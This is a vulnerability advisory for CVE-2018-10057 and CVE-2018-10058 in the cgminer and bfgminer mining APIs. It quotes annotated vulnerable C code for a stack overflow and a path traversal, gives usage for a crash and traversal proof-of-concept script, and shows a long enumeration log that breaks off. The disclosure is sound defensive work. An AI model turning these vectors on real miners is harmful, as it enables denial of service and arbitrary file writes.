pub

VuNote

Author:       <github.com/tintinweb>
Ref:          https://github.com/tintinweb/pub/tree/master/pocs/cve-2018-10057
              https://github.com/tintinweb/pub/tree/master/pocs/cve-2018-10058
Version:      0.1
Date:         Feb 11th, 2018

Tag:          cgminer bfgminer bitcoin miner authenticated buffer overflow path traversal

Overview

Name:         cgminer
Vendor:       ck kolivas
References:   * https://github.com/ckolivas/cgminer
              * https://bitcointalk.org/index.php?topic=28402.0

Version:        4.10.0 [1]
Latest Version: 4.10.0 [1]
Other Versions: <= 4.10.0
Platform(s):    windows, linux
Technology:     C/C++

Vuln Classes:   CWE-121: Stack-based Buffer Overflow
                CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Origin:         remote
Min. Privs.:    authenticated

Source:         open-source

CVE:	        CVE-2018-10057 - arbitrary file write
                CVE-2018-10058 - buffer overflow

Description

quote website [1][2]

This is a multi-threaded multi-pool FPGA and ASIC miner for bitcoin.

Overview

Name:         bfgminer
Vendor:       luke-jr
References:   * https://github.com/luke-jr/bfgminer/releases
              * http://bfgminer.org/
              * https://bitcointalk.org/?topic=877081

Version:        5.5.0 [3]
Latest Version: 5.5.0 [3]
Other Versions: <= 5.5.0
Platform(s):    windows, linux
Technology:     C/C++

Vuln Classes:   CWE-121: Stack-based Buffer Overflow
                CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Origin:         remote
Min. Privs.:    authenticated

Source:         open-source

CVE:	        CVE-2018-10057 - arbitrary file write
                CVE-2018-10058 - buffer overflow

Description

quote website [3][4][5]

What is BFGMiner?

BFGMiner is a modular ASIC/FPGA miner written in C, featuring dynamic clocking, monitoring, and remote interface capabilities.

Summary

cgminer and bfgminer both share a good portion of their code basis therefore they are both affected by the vulnerabilities described in this note. both applications provide remote management functionality via an api interface. This interface takes either custom plaintext or json encoded commands. Available API commands are defined in api.c. The set of available commands varies depending on the enabled features (opencl, fpga, cpumining). An api request can carry multiple commands if the commands are tagged as joinable (see api.c). While the API does not feature an authentication system, there is a readonly and write mode. Commands can either be accessible in readonly or also in write mode. Read/Write access can be granted via the commandline setting an IP-/Subnet-based ACL (Interpret [W:]IP[/Prefix][,[R|W:]IP2[/Prefix2][,...]] --api-allow option). In the context of this vulnerability note an authenticated vector refers to a vulnerability existing in the handling of write-mode commands. On the other hand unauthenticated vulnerabilities can be performed without having to match the IP-/Subnet-ACL first.

Successful exploitation could probably turned into:

See attached PoC.

Details

// Note: annotations are prefixed with //#!

Service Discovery:

VU #1 - (CVE-2018-10058) Authenticated Stack buffer overflow: addpool, save, failover-only, poolquota

The root cause for the buffer overflow are missing bounds checks and unlimited format descriptors used with sprintf that lead to straight forward sprintf buffer overwrite vulnerabilities. Misuse pattern sprintf(dst[size], "%s", param[can be > size]). To exploit this an attacker must be able to provide string params to sprintf that are close or larger the destination buffer size. The way escape_string works makes it easier for attackers to generate large strings that are being passed to sprintf as the method does not limit the output size and may extend up to double the size of the input string (characters escaped one-by-one).

Sug. Mitigation:

Request Handler: api(int api_thr_id){}

void api(int api_thr_id)
{
    ...
    char buf[TMPBUFSIZ];            //#! fixed buffer 8192b
    ...
    while (!bye) {
        ...
        addrok = check_connect((struct sockaddr_storage *)&cli, &connectaddr, &group);      //#! check API access ok
        applog(LOG_DEBUG, "API: connection from %s - %s",
                    connectaddr, addrok ? "Accepted" : "Ignored");

        if (addrok) {   //#! ACL - access allowed
            n = recv(c, &buf[0], TMPBUFSIZ-1, 0);           //#! read up to 8192-1 bytes

            ...
                if (*buf != ISJSON) {                       //#! plaintext cmd decoder
                    isjson = false;

                    param = strchr(buf, SEPARATOR);         //#! param can hold up to TMPBUFSIZ-1-sizeof(SEPARATOR) bytes
                    if (param != NULL)
                        *(param++) = '\0';

                    cmd = buf;
                }
                else {                                      //#! json cmd decoder
                    ...
                    cmd = (char *)json_string_value(json_val);
                    ...
                    if (json_is_string(json_val))
                            param = (char *)json_string_value(json_val);    //#! param can hold up to TMPBUFSIZE-1-sizeof(json overhead including cmdstruct)
            ...

                        for (i = 0; cmds[i].name != NULL; i++) {
                            ...
                                if (ISPRIVGROUP(group) || strstr(COMMANDS(group), cmdbuf))
                                    (cmds[i].func)(io_data, c, param, isjson, group);           //#! call api command handler
                                else {
                                    message(io_data, MSG_ACCDENY, 0, cmds[i].name, isjson);
                                    applog(LOG_DEBUG, "API: access denied to '%s' for '%s' command", connectaddr, cmds[i].name);
                                }
...

String escaping: (backslash escaping) = (non-json), " (json), \ (both) will be prefixed with \

Furthermore this means that in worst case an input string of 8k may generate an output string of 16k.

static char *escape_string(char *str, bool isjson)
{
    char *buf, *ptr;
    int count;

    count = 0;
    for (ptr = str; *ptr; ptr++) {
        switch (*ptr) {
            case ',':
            case '|':
            case '=':                //#! count to-be-escaped char
                if (!isjson)
                    count++;
                break;
            case '"':
                if (isjson)
                    count++;
                break;
            case '\\':
                count++;
                break;
        }
    }

    if (count == 0)
        return str;

    buf = cgmalloc(strlen(str) + count + 1);         //#! malloc new buffer to fit escaped string

    ptr = buf;
    while (*str)
        switch (*str) {
            case ',':
            case '|':
            case '=':                               //#! copy string; insert escape chars when needed.
                if (!isjson)
                    *(ptr++) = '\\';
                *(ptr++) = *(str++);
                break;
            case '"':
                if (isjson)
                    *(ptr++) = '\\';
                *(ptr++) = *(str++);
                break;
            case '\\':
                *(ptr++) = '\\';
                *(ptr++) = *(str++);
                break;
            default:
                *(ptr++) = *(str++);
                break;
        }

    *ptr = '\0';

    return buf;
}
...
{ SEVERITY_ERR,   MSG_INVPDP,	PARAM_STR,	"Invalid addpool details '%s'" },
...

static void addpool(struct io_data *io_data, __maybe_unused SOCKETTYPE c, char *param, bool isjson, __maybe_unused char group)
{
    ...

    if (!pooldetails(param, &url, &user, &pass)) {
        ptr = escape_string(param, isjson);              //#! VU #1 - escape_string may return > 8192 bytes if it contains to be escaped chars
        message(io_data, MSG_INVPDP, 0, ptr, isjson);    //#! VU #1 - may overwrite internal buf[TMPBUFSIZ=8192] if ptr>(8192 - len(hardcoded err msg))
        if (ptr != param)                                //#! MSG_INVPDP - see def above - is a FMT using unbound %s that may cause a buffer overwrite if the param is > sprintf destination buffer size
            free(ptr);
        ptr = NULL;
        return;
    }

    ...

    ptr = escape_string(url, isjson);                            //#! VU #1 - escape_string may return > 8192 bytes if it contains to be escaped chars
    message(io_data, MSG_ADDPOOL, pool->pool_no, ptr, isjson);   //#! VU #1 - may overwrite internal buf[TMPBUFSIZ=8192] if ptr>(8192 - len(hardcoded err msg))
    if (ptr != url)
        free(ptr);
    ptr = NULL;
}

Where message() is defined as follows:

static void message(struct io_data *io_data, int messageid, int paramid, char *param2, bool isjson)
{
    struct api_data *root = NULL;
    char buf[TMPBUFSIZ];                //#! fixed size stack buffer 8192 bytes!
    char severity[2];

    ...

    for (i = 0; codes[i].severity != SEVERITY_FAIL; i++) {      //#! get message FMT from codes (vulnerable if contains unbound %s in fmt)
        if (codes[i].code == messageid) {
            ...

            switch(codes[i].params) {
                ...
                case PARAM_STR:
                    sprintf(buf, codes[i].description, param2);             //#! sprintf buffer overwrite; param2 can be > sizeof(buf)
                    break;
                ...
void dosave(struct io_data *io_data, __maybe_unused SOCKETTYPE c, char *param, bool isjson, __maybe_unused char group)
{
    char filename[PATH_MAX];
    FILE *fcfg;
    char *ptr;

    if (param == NULL || *param == '\0') {
        default_save_file(filename);
        param = filename;
    }

    fcfg = fopen(param, "w");
    if (!fcfg) {
        ptr = escape_string(param, isjson);  //#! VU #1 - escape_string may return > 8192 bytes if it contains to be escaped chars
        message(io_data, MSG_BADFN, 0, ptr, isjson);  //#! VU#1 - may overwrite internal buf[TMPBUFSIZ=8192] if ptr>(8192 - len(hardcoded err msg))
        if (ptr != param)
            free(ptr);
        ptr = NULL;
        return;
    }

    write_config(fcfg);
    fclose(fcfg);

    ptr = escape_string(param, isjson);		//#! VU #1 - same here; see description above (case with valid filename)
    message(io_data, MSG_SAVED, 0, ptr, isjson);
    if (ptr != param)
        free(ptr);
    ptr = NULL;
}

The param to failover-only is directly passed to message() with message fmt "Deprecated config option '%s'" which is then passed to sprintf(buf[TMPFBUFSIZ=8192], "Deprecated config option '%s'", param[can_be_>TMPBUFSIZ]). param can be close to 8191 bytes (minus command encoding overhead ~15bytes). The message template MSG_DEPRECATED is already 27 bytes without %s being filled in. An attacker providing at least > 8191-27 bytes as param to this command will therefore make sprintf write past the stack buffer buf[TMPBUFSIZ=8192] in message().

...
 { SEVERITY_ERR,   MSG_DEPRECATED, PARAM_STR,	"Deprecated config option '%s'" },    //#! VU #1 - sprintf fmt with unbound param %s. can be any length
...

static void failoveronly(struct io_data *io_data, __maybe_unused SOCKETTYPE c, char *param, bool isjson, __maybe_unused char group)
{
    message(io_data, MSG_DEPRECATED, 0, param, isjson);     //#! VU #1 - param can be > TMPBUFSIZE (hardcoded stack buffer for sprint destination in message())
}
...
 { SEVERITY_ERR,   MSG_CONVAL,	PARAM_STR,	"Missing config value N for '%s,N'" },     //#! VU #1 - sprintf fmt with unbound param %s. can be any length
...

static void poolquota(struct io_data *io_data, __maybe_unused SOCKETTYPE c, char *param, bool isjson, __maybe_unused char group)
{
    ...

    comma = strchr(param, ',');
    if (!comma) {
        message(io_data, MSG_CONVAL, 0, param, isjson);     //#! VU #1 - sprintf buffer overwrite similar to other commands
        return;
    }

    ...
}

VU #2 - (CVE-2018-10057) Authenticated path traversal: save

When calling api command save the parameter is passed to dosave(.., .., param, ...) which calls fopen(param) on the unsanitized/unvalidated user provided parameter. This allows for absolute and relative path traversal allowing to save the current configuration (json) to any location provided with the request parameter (user provided).

void dosave(struct io_data *io_data, __maybe_unused SOCKETTYPE c, char *param, bool isjson, __maybe_unused char group)
{
    char filename[PATH_MAX];
    FILE *fcfg;
    char *ptr;

    if (param == NULL || *param == '\0') {
        default_save_file(filename);
        param = filename;
    }

    fcfg = fopen(param, "w");				 //#! VU #2 - param not filtered; abs path traversal
    if (!fcfg) {
        ptr = escape_string(param, isjson);
        message(io_data, MSG_BADFN, 0, ptr, isjson);
        if (ptr != param)
            free(ptr);
        ptr = NULL;
        return;
    }

    write_config(fcfg);
    fclose(fcfg);

    ptr = escape_string(param, isjson);		//#! VU #2 - same here; see description above (case with valid filename)
    message(io_data, MSG_SAVED, 0, ptr, isjson);
    if (ptr != param)
        free(ptr);
    ptr = NULL;
}

Sug. Mitigation:

VU #3 - Unauthenticated Information Disclosure: banner / various commands leaking details

As seen on shodan and similar search engines cgminer/bfgminer trivially leaks valuable information in its server banner invalid command as well as a series of other commands available in readonly mode.

Note: use poc.py <target> to enumerate available commands for readonly mode.

STATUS=E,When=1518898313,Code=14,Msg=Invalid command,Description=cgminer 4.9.0|\x00

Sug. Mitigation:

VU #4 - Misc

The API interface (custom tcp socket comm) does not provide any transport security.

Sug. Mitigation:

See attached PoC.

Proof of Concept

Prerequisites:

Usage: poc.py

      example: poc.py [options] <target> [<target>, ...]

      options:
               --no-capabilities    ...   do not check for supported commands [default:False]
               --havoc              ...   probe all commands for buffer overflow
               --vector=<vector>    ...   <see vectors> - launch specific attack vector

      vector   ...  crash_addpool   ...   crash addpool command
                    crash_failover  ...   crash failover-only command
                    crash_poolquota ...   crash poolquota command
                    crash_save      ...   crash save command
                    traverse_save   ...   path traversal in save command

      target   ... <IP, FQDN:port>

               #> poc.py 1.1.1.1:4028
               #> poc.py 1.2.3.4:4028
               #> poc.py --vector=crash_addpool 1.1.1.1:4028
               #> poc.py --havoc 1.1.1.1:4028


      To reproduce launch cgminer in this mode:
      #> ./cgminer -D --url ltc-eu.give-me-coins.com:3334 --api-listen -T -u a -p a --api-allow 0/0
  1. start the miner, specify a pool and allow write-mode from any Subnet (or restrict it to your attackers ip) then wait for the API to be ready

```#> ./cgminer -D –url ltc-eu.give-me-coins.com:3334 –api-listen -T -u a -p a –api-allow 0/0

… [xxx] Generated stratum work [xxx] Pushing work from pool 0 to hash queue [xxx] API running in IP access mode on port 4028 (3) [xxx] Testing pool stratum+tcp://ltc-eu.give-me-coins.com:3334 …


2. [vector 1] To trigger the stack buffer overwrite in `addpool, save, failover-only, poolquota` launch `poc.py --vector=crash_<addpool|failover|poolquota|save> <target-ip:port>`

Launch `poc.py` and trigger any of the `crash_*` vectors (stack buffer overwrite). `poc.py` by default is pretty
verbose and checks for all available commands on the target. Accessible commands will be listed. The buffer overwrite
is triggered with the last command in the output.

Note: you may also want to brute-force all available commands for overflows with `poc.py --havoc <target-ip:port>`

```#> poc.py --vector=crash_addpool 192.168.2.114:4028

[cgminer.py -             <module>() ][    INFO] --start--
[cgminer.py -             <module>() ][    INFO] # CGMiner / BFGMiner exploit
[cgminer.py -             <module>() ][    INFO] # github.com/tintinweb

[cgminer.py -             <module>() ][    INFO] [i] about to check for the following commands: ['gpufan', 'ascset', 'gpuvddc', 'cpurestart', 'pga', 'asccount', 'pgarestart', 'disablepool', 'hotplug', 'estats', 'ascidentify', 'zero', 'usbstats', 'failover-only', 'notify', 'gpuenable', 'edevs', 'procdisable', 'poolquota', 'addpool', 'check', 'devdetails', 'pgaenable', 'quit', 'stats', 'gpumem', 'debug', 'switchpool', 'ascenable', 'procdetails', 'version', 'procs', 'ascdisable', 'pgacount', 'cpuenable', 'save', 'config', 'privileged', 'gpurestart', 'pgaidentify', 'gpucount', 'gpudisable', 'gpuintensity', 'procenable', 'gpuengine', 'asc', 'pools', 'lcd', 'cpucount', 'gpu', 'procidentify', 'coin', 'cpudisable', 'pgaset', 'restart', 'procnotify', 'pgadisable', 'proccount', 'setconfig', 'lockstats', 'proc', 'procset', 'enablepool', 'summary', 'devs', 'devscan', 'removepool', 'poolpriority', 'cpu']
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "gpufan", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'gpufan' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "ascset", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'ascset' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "gpuvddc", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'gpuvddc' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "cpurestart", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'cpurestart' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "pga", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'pga' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "asccount", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'asccount' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "pgarestart", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'pgarestart' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "disablepool", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'disablepool' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "hotplug", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'hotplug' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "estats", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'estats' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "ascidentify", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'ascidentify' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "zero", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'zero' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "usbstats", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'usbstats' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "failover-only", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'failover-only' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "notify", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'notify' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "gpuenable", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'gpuenable' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "edevs", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'edevs' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "procdisable", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'procdisable' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "poolquota", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'poolquota' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "addpool", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'addpool' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "check", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'check' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "devdetails", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'devdetails' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "pgaenable", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'pgaenable' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "quit", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'quit' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "stats", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'stats' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "gpumem", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'gpumem' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "debug", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'debug' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "switchpool", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'switchpool' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "ascenable", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'ascenable' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "procdetails", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'procdetails' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "version", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'version' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "procs", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'procs' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "ascdisable", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'ascdisable' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "pgacount", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'pgacount' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "cpuenable", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'cpuenable' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "save", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'save' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "config", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'config' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "privileged", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'privileged' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "gpurestart", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'gpurestart' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "pgaidentify", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'pgaidentify' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "gpucount", "command": "check"}\n'
